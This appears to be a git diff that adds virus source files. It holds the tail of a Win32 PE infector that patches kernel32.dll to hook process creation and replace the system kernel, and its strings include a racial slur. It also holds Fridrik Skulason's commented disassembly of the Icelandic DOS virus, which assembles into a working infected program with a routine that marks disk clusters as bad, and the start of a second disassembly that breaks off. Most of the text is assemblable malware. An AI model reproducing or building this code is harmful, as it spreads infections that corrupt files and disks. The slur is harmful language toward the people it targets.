FILE_MAP_WRITE, \ + L 0, \ + L 0, \ + L 0 + + mov [edi+vir_str.lpBaseAddress],eax + + add eax,[eax+exe_str.pe_offset] + mov esi,eax + + call getLastObjectTable + + mov eax,[ebx+obj_str.obj_rva] ;set new entry point if an EXE + add eax,[ebx+obj_str.obj_psize] ; or set hooks if kernel32.dll + call [edi+vir_str.lpInfectMethod] + + push edi + push esi + + mov edi,[edi+vir_str.lpBaseAddress] + add edi,[ebx+obj_str.obj_poffset] + add edi,[ebx+obj_str.obj_psize] + lea esi,[ebp+start] + mov ecx,(_end - start) + cld + rep movsb ;copy virus + + pop esi + pop eax + + xchg eax,edi + sub eax,[edi+vir_str.lpBaseAddress] ;new psize = old psize + (_end - start) + sub eax,[ebx+obj_str.obj_poffset] + mov ecx,[esi+pe_str.align_file] + call align ;calculate new physical size + + mov [ebx+obj_str.obj_psize],eax + + mov eax,[ebx+obj_str.obj_vsize] + add eax,(_end - start) + mov ecx,[esi+pe_str.align_obj] + call align ;calculate potential new virtual size + + cmp eax,[ebx+obj_str.obj_psize] ;if new physical size > new virtual size + .if carry? + mov eax,[ebx+obj_str.obj_psize] ;then let the virtual size = physical size + .endif + mov [ebx+obj_str.obj_vsize],eax + + add eax,[ebx+obj_str.obj_rva] + + cmp eax,[esi+pe_str.size_image] ;infected host increased in image size? + .if !carry? + mov [esi+pe_str.size_image],eax + .endif + + mov [esi+pe_str.timestamp],CRC_POLY + org $ - 4 + crc MARKER + or [ebx+obj_str.obj_flags],IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + + lea eax,[ebp+szImageHlp] + call [ebp+LoadLibraryA], \ ;load image manipulation library + eax + + or eax,eax + .if !zero? + push eax ;(*) argument for FreeLibrary() + + lea ecx,[ebp+szChecksumMappedFile] + call [ebp+GetProcAddress], \ ;get address of image checksum api + eax, \ + ecx + + or eax,eax + .if !zero? + lea ecx,[esi+pe_str.pe_cksum] + lea edx,[edi+vir_str.ddBytes] + call eax, \ ;calculate checksum + [edi+vir_str.lpBaseAddress], \ + [edi+vir_str.ddFileSizeInfected], \ + edx, \ + ecx + .endif + call [ebp+FreeLibrary] ;argument is set at (*) + .endif + mov [edi+vir_str.ddError],FALSE ;no errors! + +exitUnmap: + call [ebp+UnmapViewOfFile], \ ;unmap the view + [edi+vir_str.lpBaseAddress] +exitCloseMap: + call [ebp+CloseHandle], \ ;remove mmap from our address space + [edi+vir_str.hFileMappingObject] +exitTime: + lea eax,[edi+vir_str.ddLastWriteTime] + lea ecx,[edi+vir_str.ddLastAccessTime] + lea edx,[edi+vir_str.ddCreationTime] + call [ebp+SetFileTime], \ ;restore file time + [edi+vir_str.hFile], \ + edx, \ + ecx, \ + eax + + call [ebp+CloseHandle], \ ;close the file + [edi+vir_str.hFile] +exitChmod: + call [ebp+SetFileAttributesA], \ ;restore file attributes + [edi+vir_str.lpFileName], \ + [edi+vir_str.ddFilterAttributes] +exit: ret ;return to caller + +kernel: call [ebp+GlobalAlloc], \ ;allocate memory for source buffer + GMEM_FIXED, \ + _MAX_PATH + + mov [edi+vir_str.lpSrcFile],eax + + call [ebp+GetSystemDirectoryA], \ ;store %sysdir% in source buffer + eax, \ + _MAX_PATH + + call [ebp+GlobalAlloc], \ ;allocate memory for destination buffer + GMEM_FIXED, \ + _MAX_PATH + + mov [edi+vir_str.lpDstFile],eax + + call [ebp+GetWindowsDirectoryA], \ ;store %windir% in destination buffer + eax, \ + _MAX_PATH + + lea eax,[ebp+szKernel] + call [ebp+lstrcatA], \ ;*lpSrcFile = %sysdir%\kernel32.dll + [edi+vir_str.lpSrcFile], \ + eax + + lea eax,[ebp+szKernel] + call [ebp+lstrcatA], \ ;*lpDstFile = %windir%\kernel32.dll + [edi+vir_str.lpDstFile], \ + eax + + call [ebp+CopyFileA], \ + [edi+vir_str.lpSrcFile], \ ;%sysdir%\kernel32.dll + [edi+vir_str.lpDstFile], \ ; -> %windir%\kernel32.dll + FALSE + + lea eax,[ebp+infectKernel] + mov [edi+lpInfectMethod],eax ;we're trying to infect the kernel + + mov eax,[edi+vir_str.lpDstFile] + mov [edi+vir_str.lpFileName],eax + + call infect + + .if [edi+vir_str.ddError] == FALSE + lea eax,[ebp+szSetupApi] + call [ebp+LoadLibraryA], \ + eax + + or eax,eax ;if LoadLibrary fails, explicitly write + .if zero? ;to WININIT.INI (Windows 95) + lea eax,[ebp+szWinInitFile] ;delete the original kernel + push eax + push [edi+vir_str.lpSrcFile] + lea eax,[ebp+szKeyName] + push eax + lea eax,[ebp+szAppName] + push eax + call [ebp+WritePrivateProfileStringA] + + lea eax,[ebp+szWinInitFile] ;move our patched kernel + push eax + push [edi+vir_str.lpDstFile] + push [edi+vir_str.lpSrcFile] + lea eax,[ebp+szAppName] + push eax + call [ebp+WritePrivateProfileStringA] + .else + push eax ;(*) argument for FreeLibrary + + lea ebx,[ebp+szSetupInstallFileExA] ;fetch address of API from this DLL + call [ebp+GetProcAddress], \ + eax, \ + ebx + + or eax,eax + .if !zero? + lea ebx,[edi+ddBytes] + call eax, \ ;move patched kernel + NULL, \ ;NT->delay until next reboot + NULL, \ ; modified MoveFileEx behaviour? + [edi+vir_str.lpDstFile], \ ;98->WININIT.INI + NULL, \ + [edi+vir_str.lpSrcFile], \ + SP_COPY_SOURCE_ABSOLUTE or SP_COPY_DELETESOURCE, \ + NULL, \ + NULL, \ + ebx + .endif + mov esi,eax + call [ebp+FreeLibrary] + mov eax,esi + .endif + or eax,eax + .if zero? + mov [edi+vir_str.ddError],TRUE + .endif + .endif + + .if [edi+vir_str.ddError] == TRUE + call [ebp+DeleteFileA], \ ;delete %windir%\kernel32.dll if + [edi+vir_str.lpFileName] ; an error infecting or moving + .endif + call [ebp+GlobalFree], \ ;deallocate destination buffer + [edi+vir_str.lpDstFile] + + call [ebp+GlobalFree], \ ;deallocate source buffer + [edi+vir_str.lpSrcFile] + ret + +infectKernel: + xchg eax,ecx + + movzx eax,[esi+pe_str.size_NThdr] + add eax,esi + add eax,offset pe_str.majik + + mov edx,0 +lpCreateProcessA = dword ptr $ - 4 + sub edx,[edi+vir_str.lpKernelBase] + +@@lup: cmp [eax+obj_str.obj_rva],edx ;was the API in the previous object? + ja @@next + + add eax,size obj_str ;next object + jmp @@lup + +@@next: sub eax,size obj_str ;seek back to export object + + push L offset hookCreateProcessA - start + call trapAPI + + mov edx,0 +lpCreateProcessW = dword ptr $ - 4 + sub edx,[edi+vir_str.lpKernelBase] + + push L offset hookCreateProcessW - start + call trapAPI + + ret + +infectEXE: + mov [ebp+ddEntryPoint],eax + xchg eax,[esi+pe_str.rva_entry] + + mov [ebp+ddOldEntryPoint],eax + + ret + +trapAPI:push ebx + push ecx + + mov ebx,[eax+obj_str.obj_poffset] + sub ebx,[eax+obj_str.obj_rva] + add ebx,[edi+vir_str.lpBaseAddress] + add ebx,edx + + add ecx,[esp+0c] + mov [ebx],ecx + + pop ecx + pop ebx + ret 4 + +align: xor edx,edx + add eax,ecx + dec eax + div ecx + mul ecx + ret + +getLastObjectTable: + movzx eax,[esi+pe_str.num_obj] + cdq + mov ecx,L size obj_str + dec eax + mul ecx + + movzx edx,[esi+pe_str.size_NThdr] + add eax,edx + add eax,esi + add eax,offset pe_str.majik ;seek to last object table + + xchg eax,ebx + ret + +;on entry: +; [esp] : return address to caller +; [esp+4] -> [esp+28] : registers +; [esp+2c] : return address to process +; [esp+34] : commandline +hookInfectUnicode: + call @@delta +@@delta:pop ebp + sub ebp,offset @@delta + + mov edi,[esp+34] + call [ebp+WideCharToMultiByte], \ ;find out how many bytes to allocate + CP_ACP, \ ; ANSI code page + L 0, \ ; no composite/unmapped characters + edi, \ ; lpWideCharStr + L -1, \ ; calculate strlen(lpWideCharStr)+1 + NULL, \ ; no buffer + L 0, \ ; tell us how many bytes to allocate + NULL, \ ; ignore unmappable characters + NULL ; don't tell us about problems + + or eax,eax ;no bytes can be converted? + jz hookInfectError ;then bomb out. + + push eax ;(*) + + call [ebp+GlobalAlloc], \ ;allocate enough memory for the + GMEM_FIXED, \ ; converted UNICODE string + eax + + or eax,eax ;any memory available? + pop ecx ;(*) + jz hookInfectError + + mov esi,eax + mov edi,[esp+34] + call [ebp+WideCharToMultiByte], \ ;UNICODE -> ANSI conversion + CP_ACP, \ ; ANSI code page + L 0, \ ; no composite/unmappable characters + edi, \ ; lpWideCharStr + L -1, \ ; calculate strlen(lpWideCharStr)+1 + esi, \ ; destination buffer for ANSI characters + ecx, \ ; size of destination buffer + NULL, \ ; ignore unmappable characters + NULL ; don't tell us about problems + jmp hookInfectDispatch + +;on entry: +; [esp] : return address to caller +; [esp+4] -> [esp+28] : registers +; [esp+2c] : return address to process +; [esp+34] : commandline +hookInfectAnsi: + call @@delta +@@delta:pop ebp + sub ebp,offset @@delta + + mov edi,[esp+34] ;get the filename + + call [ebp+lstrlenA], \ ;calculate string length + edi ; (not including null terminator) + + or eax,eax ;zero length? + jz hookInfectError + + inc eax ;include null terminator + + call [ebp+GlobalAlloc], \ ;allocate some memory for the copy + GMEM_FIXED, \ + eax + + or eax,eax ;no memory? + jz hookInfectError + + mov esi,eax + + call [ebp+lstrcpyA], \ ;*edi -> *esi + esi, \ + edi + +hookInfectDispatch: + push esi ;(*) argument for GlobalFree + + call [ebp+GlobalAlloc], \ ;instantiate our global structure + GMEM_FIXED, \ + L size vir_str + + or eax,eax ;fatal error if no memory + jz hookInfectErrorFree + + mov edi,eax + mov [edi+vir_str.lpFileName],esi + mov [edi+vir_str.ddError],FALSE ;assume no parsing fix-ups required + + lodsb + cmp al,'"' + .if zero? + mov [edi+vir_str.lpFileName],esi + mov [edi+vir_str.ddError],TRUE ;parsing fix-ups required + .endif + +hookInfectParse: + lodsb ;get a byte + .if [edi+vir_str.ddError] == TRUE ;need a fix-up? + cmp al,'"' ;'"' is our terminator + jnz hookInfectParse + .else ;no fix-up required + cmp al,' ' ;' ' or \0 is our terminator + jz hookInfectParsed + or al,al + jnz hookInfectParse + .endif + +hookInfectParsed: + mov byte ptr [esi-1],NULL ;null terminate string + + lea eax,[ebp+infectEXE] ;we're infecting a non-kernel32 executable + mov [edi+vir_str.lpInfectMethod],eax + call infect + + call [ebp+GlobalFree], \ ;deallocate global structure + edi +hookInfectErrorFree: + call [ebp+GlobalFree] ;deallocate lpFileName +hookInfectError: + ret + +hookCreateProcessW: + push CRC_POLY +CreateProcessW = dword ptr $ - 4 + +hookUnicode: + pushfd + pushad + call hookInfectUnicode + popad + popfd + ret + +hookCreateProcessA: + push CRC_POLY +CreateProcessA = dword ptr $ - 4 + +hookAnsi: + pushfd + pushad + call hookInfectAnsi + popad + popfd + ret + +className db '[Heretic] by Memory Lapse',0 +message db 'For my thug niggaz.. uptown baby, uptown.',0 + +szKernel db '\KERNEL32.DLL',0 + +szImageHlp db 'IMAGEHLP',0 +szChecksumMappedFile db 'CheckSumMappedFile',0 +szSetupApi db 'SETUPAPI',0 +szSetupInstallFileExA db 'SetupInstallFileExA',0 + +szWinInitFile db 'WININIT.INI',0 +szAppName db 'Rename',0 +szKeyName db 'NUL',0 + +name_ptr_api: +ddCloseHandle: crc +ddCopyFileA: crc +ddCreateFileA: crc +ddCreateFileMappingA: crc +ddDeleteFileA: crc +ddFreeLibrary: crc +ddGetFileAttributesA: crc +ddGetFileTime: crc +ddGetProcAddress: crc +ddGetSystemDirectoryA: crc +ddGetWindowsDirectoryA: crc +ddGlobalAlloc: crc +ddGlobalFree: crc +ddIsBadCodePtr: crc +ddLoadLibraryA: crc +ddMapViewOfFile: crc +ddSetFileAttributesA: crc +ddSetFileTime: crc +ddUnmapViewOfFile: crc +ddWideCharToMultiByte: crc +ddWritePrivateProfileStringA: crc +ddlstrcatA: crc +ddlstrcpyA: crc +ddlstrlenA: crc +name_ptr_api_end: + +; absolute offsets of desired API +CloseHandle dd 0 +CopyFileA dd 0 +CreateFileA dd 0 +CreateFileMappingA dd 0 +DeleteFileA dd 0 +FreeLibrary dd 0 +GetFileAttributesA dd 0 +GetFileTime dd 0 +GetProcAddress dd 0 +GetSystemDirectoryA dd 0 +GetWindowsDirectoryA dd 0 +GlobalAlloc dd 0 +GlobalFree dd 0 +IsBadCodePtr dd 0 +LoadLibraryA dd 0 +MapViewOfFile dd 0 +SetFileAttributesA dd 0 +SetFileTime dd 0 +UnmapViewOfFile dd 0 +WideCharToMultiByte dd 0 +WritePrivateProfileStringA dd 0 +lstrcatA dd 0 +lstrcpyA dd 0 +lstrlenA dd 0 + +_end: + +host: call MessageBoxA, \ + NULL, \ + L offset lpText, \ + L offset lpCaption, \ + L 0 ;MB_OK + + call ExitProcess, \ + L 0 + +.data +lpCaption db 'Memory Lapse has something to say..',0 +lpText db 'Hello World!',0 + +end start + diff --git a/i/ICE1.ASM b/i/ICE1.ASM new file mode 100755 index 0000000..d7a4477 --- /dev/null +++ b/i/ICE1.ASM @@ -0,0 +1,558 @@ +; THE ICELANDIC "DISK-CRUNCHING" VIRUS +; +; Another possible name for this virus might be "One-in-ten", since +; it tries to infect every tenth program run. The Icelandic name for +; this virus ("Diskaetuvirus") translates to "Disk-eating virus" +; +; It was first located at one site in mid-June '89. It has since then +; been found at a few other places, but is quite rare yet. So far it +; does not seem to have spread to any other country. +; +; Disassembly done in June/July '89. +; +; The author of this program is unknown, but it appears to be of +; Icelandic origin. +; +; All comments in this file were added by Fridrik Skulason, +; University of Iceland/Computing Services. +; +; INTERNET: frisk@rhi.hi.is +; UUCP: ...mcvax!hafro!rhi!frisk +; BIX: FRISK +; +; To anyone who obtains this file - please be careful with it, I +; would not like to see this virus be distributed too much. The code +; is very clear, and the virus is quite well written. It would be VERY +; easy to modify it to do something really harmful. +; +; A short description of the virus: +; +; It only infects .EXE files. Infected files grow by 656 to 671 +; bytes, and the length of the infected file MOD 16 will always be 0. +; The virus attaches itself to the end of the programs it infects. +; +; When an infected file is run, the virus copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. +; +; The virus does nothing if some other program has hooked INT 13 +; before it is run. This is probably done to avoid detection by +; protection programs, but it also means that many ordinary +; programs like SideKick and disk cache software will disable it. +; Even the PRINT command will disable the virus. This reduces the +; spread of the virus, but also greatly reduces the possibility that +; the virus will be detected. +; +; The virus will hook INT 21H and when function 4B (EXEC) is called +; it sometimes will infect the program being run. It will check every +; tenth program that is run for infection, and if it is not already +; infected, it will be. +; +; The virus will remove the Read-Only attribute before trying to +; infect programs. +; +; Infected files can be easily recognized, since they always end in +; 4418,5F19. +; +; To check for system infection, a byte at 0:37F is used - if it +; contains FF the virus is installed in memory. +; +; This virus is slightly harmful, but does no serious damage. +; On floppy-only, or machines with 10Mbyte hard disks it will do +; no damage at all, but on machines with larger hard disks it will +; select one unused entry in the FAT table, and mark it as bad, when it +; infects a file. Since the virus only modifies the first copy of the +; FAT, a quick fix is simply to copy the second table over the first. +; This is the only "mistake" I have found in this virus. It appears +; to be very well written - What a shame the programmer did not use +; his abilities for something more constructive. +; +; This file was created in the following way: I wrote a small program, +; that did nothing but write "Hello world!" and ran it several times, +; until it became infected. I then diassembled the program, changed +; it into an .ASM file, and worked on it until this file, when +; assembled, produced the same file as the original infected one. +; +; (Or almost the same - the checksum in the header is different). +; +VIRSIZ EQU 128 + + ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING +; +; This is the original program. +; +_TEXT1 SEGMENT PARA PUBLIC 'CODE' +_START DB 0b4H,09H + PUSH CS + POP DS + MOV DX,OFFSET STRING + INT 21H + MOV AX,4C00H + INT 21H +STRING DB "Hello world!",0dh,0ah,"$" + _TEXT1 ENDS + +_TEXT SEGMENT PARA PUBLIC 'CODE' + +; +; The virus is basically divided in three parts. +; +; 1. The main program - run when an infected program is run. +; It will check if the system is already infected, and if not +; it will install the virus. +; +; 2. The new INT 21 handler. It will look for EXEC calls, and +; (sometimes) infect the program being run. +; +; 3. The damage routine. It will select one unused cluster and mark it +; as bad. +; +VIRUS PROC FAR +; +; This is a fake MCB +; + DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 +; +; The virus starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +LABEL1: SUB SP,4 + PUSH BP + MOV BP,SP + PUSH AX + MOV AX,ES +; +; Put the the original CS on the stack. The ADD AX,data instruction +; is modified by the virus when it infects other programs. +; + DB 05H +ORG_CS DW 0010H + MOV [BP+4],AX +; +; Put the the original IP on the stack. This MOV [BP+2],data instruction +; is modified by the virus when it infects other programs. +; + DB 0C7H,46H,02H +ORG_IP DW 0000H +; +; Save all registers that are modified. +; + PUSH ES + PUSH DS + PUSH BX + PUSH CX + PUSH SI + PUSH DI +; +; Check if already installed. Quit if so. +; + XOR AX,AX + MOV ES,AX + CMP ES:[37FH],BYTE PTR 0FFH + JNE L1 +; +; Restore all registers and return to the original program. +; +EXIT: POP DI + POP SI + POP CX + POP BX + POP DS + POP ES + POP AX + POP BP + RET +; +; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some +; program is monitoring int 13, and quit. +; +L1: MOV AX,ES:[4EH] + CMP AX,0070H + JE L2 + CMP AX,0F000H + JNE EXIT +; +; Set the installation flag, so infected programs run later will +; recognize the infection. +; +L2: MOV ES:[37FH],BYTE PTR 0FFH +; +; The virus tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; It looks rather weird, but it seems to work. +; + MOV AH,52H + INT 21H + MOV AX,ES:[BX-2] + MOV ES,AX + ADD AX,ES:[0003] + INC AX + INC AX + MOV CS:[0001],AX +; +; Next, the virus modifies the memory block of the infected program. +; It is made smaller, and no longer the last block. +; + MOV BX,DS + DEC BX + MOV DS,BX + MOV AL,'M' + MOV DS:[0000],AL + MOV AX,DS:[0003] + SUB AX,VIRSIZ + MOV DS:[0003],AX + ADD BX,AX + INC BX +; +; Then the virus moves itself to the new block. For some reason 2000 +; bytes are transferred, when 656 would be enough. Maybe the author just +; wanted to leave room for future expansions. +; + MOV ES,BX + XOR SI,SI + XOR DI,DI + PUSH CS + POP DS + MOV CX,2000 + CLD + REP MOVSB +; +; The virus then transfers control to the new copy of itself. +; + PUSH ES + MOV AX,OFFSET L3 + PUSH AX + RET +; +; The main program modifies INT 21 next and finally returns to the +; original program. The original INT 21 vector is stored inside the +; program so a JMP [OLD INT21] instruction can be used. +; +L3: XOR AX,AX + MOV ES,AX + MOV AX,ES:[0084H] + MOV CS:[OLD21],AX + MOV AX,ES:[0086H] + MOV CS:[OLD21+2],AX + MOV AX,CS + MOV ES:[0086H],AX + MOV AX,OFFSET NEW21 + MOV ES:[0084H],AX + JMP EXIT +VIRUS ENDP +; +; This is the INT 21 replacement. It only does something in the case +; of an EXEC call. +; +NEW21 PROC FAR + CMP AH,4BH + JE L5 +L4: DB 0EAH +OLD21 DW 0,0 +; +; Only attack every tenth program run. +; +L5: DEC CS:[COUNTER] + JNE L4 + MOV CS:[COUNTER],10 +; +; Save all affected registers. +; + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DS +; +; Search for the file name extension ... +; + MOV BX,DX +L6: INC BX + CMP BYTE PTR [BX],'.' + JE L8 + CMP BYTE PTR [BX],0 + JNE L6 +; +; ... and quit unless it starts with "EX". +; +L7: POP DS + POP SI + POP DX + POP CX + POP BX + POP AX + JMP L4 +L8: INC BX + CMP WORD PTR [BX],5845H + JNE L7 +; +; When an .EXE file is found, the virus starts by turning off +; the read-only attribute. The read-only attribute is not restored +; when the file has been infected. +; + MOV AX,4300H ; Get attribute + INT 21H + JC L7 + MOV AX,4301H ; Set attribute + AND CX,0FEH + INT 21H + JC L7 +; +; Next, the file is examined to see if it is already infected. +; The signature (4418 5F19) is stored in the last two words. +; + MOV AX,3D02H ; Open / write access + INT 21H + JC L7 + MOV BX,AX ; file handle in BX + PUSH CS ; now DS is no longer needed + POP DS +; +; The header of the file is read in at [ID+8]. The virus then +; modifies itself, according to the information stored in the +; header. (The original CS and IP addressed are stored). +; + MOV DX,OFFSET ID+8 + MOV CX,1CH + MOV AH,3FH + INT 21H + JC L9 + MOV AX,DS:ID[1CH] + MOV DS:[ORG_IP],AX + MOV AX,DS:ID[1EH] + ADD AX,10H + MOV DS:[ORG_CS],AX +; +; Next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. They are compared to the signature, +; and if equal nothing happens. +; + MOV AX,4202H + MOV CX,-1 + MOV DX,-4 + INT 21H + JC L9 + ADD AX,4 + MOV DS:[LEN_LO],AX + JNC L8A + INC DX +L8A: MOV DS:[LEN_HI],DX + + MOV AH,3FH + MOV CX,4 + MOV DX,OFFSET ID+4 + INT 21H + JNC L11 +L9: MOV AH,3EH + INT 21H +L10: JMP L7 +; +; Compare to 4418,5F19 +; +L11: MOV SI,OFFSET ID+4 + MOV AX,[SI] + CMP AX,4418H + JNE L12 + MOV AX,[SI+2] + CMP AX,5F19H + JE L9 +; +; The file is not infected, so the next thing the virus does is +; infecting it. First it is padded so the length becomes a multiple +; of 16 bytes. Tis is probably done so the virus code can start at a +; paragraph boundary. +; +L12: MOV AX,DS:[LEN_LO] + AND AX,0FH + JZ L13 + MOV CX,16 + SUB CX,AX + ADD DS:[LEN_LO],CX + JNC L12A + INC DS:[LEN_HI] +L12A: MOV AH,40H + INT 21H + JC L9 +; +; Next the main body of the virus is written to the end. +; +L13: XOR DX,DX + MOV CX,OFFSET ID + 4 + MOV AH,40H + INT 21H + JC L9 +; +; Next the .EXE file header is modified: +; +; First modify initial IP +; + MOV AX,OFFSET LABEL1 + MOV DS:ID[1CH],AX +; +; Modify starting CS = Virus CS. It is computed as: +; +; (Original length of file+padding)/16 - Start of load module +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SUB AX,DS:ID[10H] + MOV DS:ID[1EH],AX +; +; Modify length mod 512 +; + ADD DS:[LEN_LO],OFFSET ID+4 + JNC L14 + INC DS:[LEN_HI] +L14: MOV AX,DS:[LEN_LO] + AND AX,511 + MOV DS:ID[0AH],AX +; +; Modify number of blocks used +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + ADD AX,511 + JNC L14A + INC DX +L14A: MOV AL,AH + MOV AH,DL + SHR AX,1 + MOV DS:ID[0CH],AX +; +; Finally the modified header is written back to the start of the +; file. +; +QQQ: MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + JC ENDIT + MOV AH,40H + MOV DX,OFFSET ID+8 + MOV CX,1CH + INT 21H + JC ENDIT + MOV AH,3EH + INT 21H + JNC DAMAGE +; +; Infection is finished - close the file and execute it +; +ENDIT: JMP L9 +NEW21 ENDP +; +; The damage routine. As before noted, it will only do damage on +; systems with a hard disk larger than 10Mbytes (With 16 bit FAT) +; +TEMP DW 0 +; +; Start by getting some information about the current drive, like size +; of the FAT etc. Then compute the total number of sectors, and quit +; unless it is greater than 20740. This is probably done since larger +; disks use 16 bit FAT entries, instead of 12, which makes life easier +; for the programmer. +; +DAMAGE: MOV AH,32H + MOV DL,0 + INT 21H + CMP AL,0FFH + JE L21 + XOR AX,AX + MOV AL,[BX+4] + INC AX + MOV CS:[TEMP],AX + MOV AX,[BX+0DH] + DEC AX + MUL CS:[TEMP] + ADD AX,[BX+0BH] + JNC L15A + INC DX +L15A: CMP DX,0 + JNE L15B + CMP AX,20740 + JBE L21 +; +; Check if DOS version is 4.0 or greater. If so, use a 16 bit value +; for numbers of sectors in the FAT, otherwise use a 8 bit entry. +; +L15B: PUSH BX + MOV AH,30H + INT 21H + POP BX + CMP AL,4 + JAE L15 + XOR AX,AX + MOV AL,[BX+0FH] + JMP SHORT L16 +L15: MOV AX,[BX+0FH] +L16: ADD AX,[BX+6] + DEC AX + MOV DX,AX + MOV AL,[BX] +; +; Read the last sector in the first copy of the FAT. Search backwards +; for an unused entry. If none is found, read the sector before that +; and so on. If no free entry is found on the entire disk then quit. +; +L20: MOV CX,1 + MOV BX,OFFSET ID+4 + PUSH CS + POP DS + PUSH AX + PUSH DX + INT 25H + POPF + JC L21 + POP DX + POP AX + MOV SI,510 +L17: MOV BX,DS:[ID+4+SI] + CMP BX,0000 + JE L19 + CMP SI,0000 + JE L18 + DEC SI + DEC SI + JMP L17 +L18: DEC DX + CMP DX,8 + JE L21 + JMP L20 +; +; A free entry has been found. Make it look like a bad cluster, by +; changing the 0000 value to FFF7. +; +L19: MOV DS:[ID+4+SI],0FFF7H + MOV CX,1 + MOV BX,OFFSET ID+4 + INT 26H + POPF +L21: JMP L7 + +COUNTER DB 10 +LEN_LO DW ? +LEN_HI DW ? +ID DW 4418H,5F19H ; The signature of the virus. +; +; A buffer, used for data from the file. +; +_TEXT ENDS + + END LABEL1 + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/i/ICE2.ASM b/i/ICE2.ASM new file mode 100755 index 0000000..1747c64 --- /dev/null +++ b/i/ICE2.ASM @@ -0,0 +1,507 @@ +From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994 +Xref: netcom.com alt.comp.virus:489 +Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair +From: clair@myhost.subdomain.domain (The Clairvoyant) +Newsgroups: alt.comp.virus +Subject: Ice2 Disassembly by f-prot author +Date: 28 Nov 1994 08:16:26 GMT +Organization: String to put in the Organization Header +Lines: 493 +Message-ID: <3bc3kq$mjc@gaia.ucs.orst.edu> +NNTP-Posting-Host: tempest.rhn.orst.edu +X-Newsreader: TIN [version 1.2 PL2] + + + +; THE ICELANDIC VIRUS - VERSION 2 +; +; Disassembly done in July '89. +; +; The author(s) of this program is(are) unknown, but it is of +; Icelandic origin. +; +; All comments in this file were added by Fridrik Skulason, +; University of Iceland/Computing Services. +; +; INTERNET: frisk@rhi.hi.is +; UUCP: ...mcvax!hafro!rhi!frisk +; BIX: FRISK +; +; To anyone who obtains this file - please be careful with it, I +; would not like to see this virus be distributed too much. The code +; is very clear, and the virus is quite well written. It would be VERY +; easy to modify it to do something really harmful. +; +; The virus has the following flaws: +; +; It modifies the date of the program it infects, making +; it easy to spot them. +; +; It removes the Read-only attribute from files, but does +; not restore it. +; +; This version appears to do no damage at all. This, and the fact that +; the author(s) sent me a copy probably indicates that it was just +; designed to demonstrate that a virus like this could be written. +; +; This file was created in the following way: +; +; I disassembled the new version and compared it to my disassembly +; of version #1. +; +; Any changes found were added to this file. +; +VIRSIZ EQU 128 + + ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING +; +; This is a dummy "infected" program, so that this file, +; when assembled (using MASM) will produce a "true" infected +; program. +; +_TEXT1 SEGMENT PARA PUBLIC 'CODE' +_START DB 0b4H,09H + PUSH CS + POP DS + MOV DX,OFFSET STRING + INT 21H + MOV AX,4C00H + INT 21H +STRING DB "Hello world!",0dh,0ah,"$" + _TEXT1 ENDS + +_TEXT SEGMENT PARA PUBLIC 'CODE' + +; +; The virus is basically divided in two parts. +; +; 1. The main program - run when an infected program is run. +; It will check if the system is already infected, and if not +; it will install the virus. +; +; 2. The new INT 21 handler. It will look for EXEC calls, and +; (sometimes) infect the program being run. +; +VIRUS PROC FAR +; +; This is a fake MCB +; + DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 +; +; The virus starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +LABEL1: SUB SP,4 + PUSH BP + MOV BP,SP + PUSH AX + MOV AX,ES +; +; Put the the original CS on the stack. The ADD AX,data instruction +; is modified by the virus when it infects other programs. +; + DB 05H +ORG_CS DW 0010H + MOV [BP+4],AX +; +; Put the the original IP on the stack. This MOV [BP+2],data instruction +; is modified by the virus when it infects other programs. +; + DB 0C7H,46H,02H +ORG_IP DW 0000H +; +; Save all registers that are modified. +; + PUSH ES + PUSH DS + PUSH BX + PUSH CX + PUSH SI + PUSH DI +; +; Check if already installed. Quit if so. +; + XOR AX,AX + MOV ES,AX + CMP ES:[37FH],BYTE PTR 0FFH + JNE L1 +; +; Restore all registers and return to the original program. +; +EXIT: POP DI + POP SI + POP CX + POP BX + POP DS + POP ES + POP AX + POP BP + RET +; +; The code to check if INT 13 contains something other than +; 0070 or F000 has been removed. +; +; Set the installation flag, so infected programs run later will +; recognize the infection. +; +L1: MOV ES:[37FH],BYTE PTR 0FFH +; +; The virus tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; It looks rather weird, but it seems to work. +; + MOV AH,52H + INT 21H +; +; The next line is new - the virus obtains the segment of the +; IBMDOS.COM/MSDOS.SYS program. +; + MOV CS:[DOSSEG],ES +; +; Back to modification +; + MOV AX,ES:[BX-2] + MOV ES,AX + ADD AX,ES:[0003] + INC AX + INC AX + MOV CS:[0001],AX +; +; Next, the virus modifies the memory block of the infected program. +; It is made smaller, and no longer the last block. +; + MOV BX,DS + DEC BX + MOV DS,BX + MOV AL,'M' + MOV DS:[0000],AL + MOV AX,DS:[0003] + SUB AX,VIRSIZ + MOV DS:[0003],AX + ADD BX,AX + INC BX +; +; Then the virus moves itself to the new block. For some reason 2000 +; bytes are transferred, when much less would be enough. Maybe the author just +; wanted to leave room for future 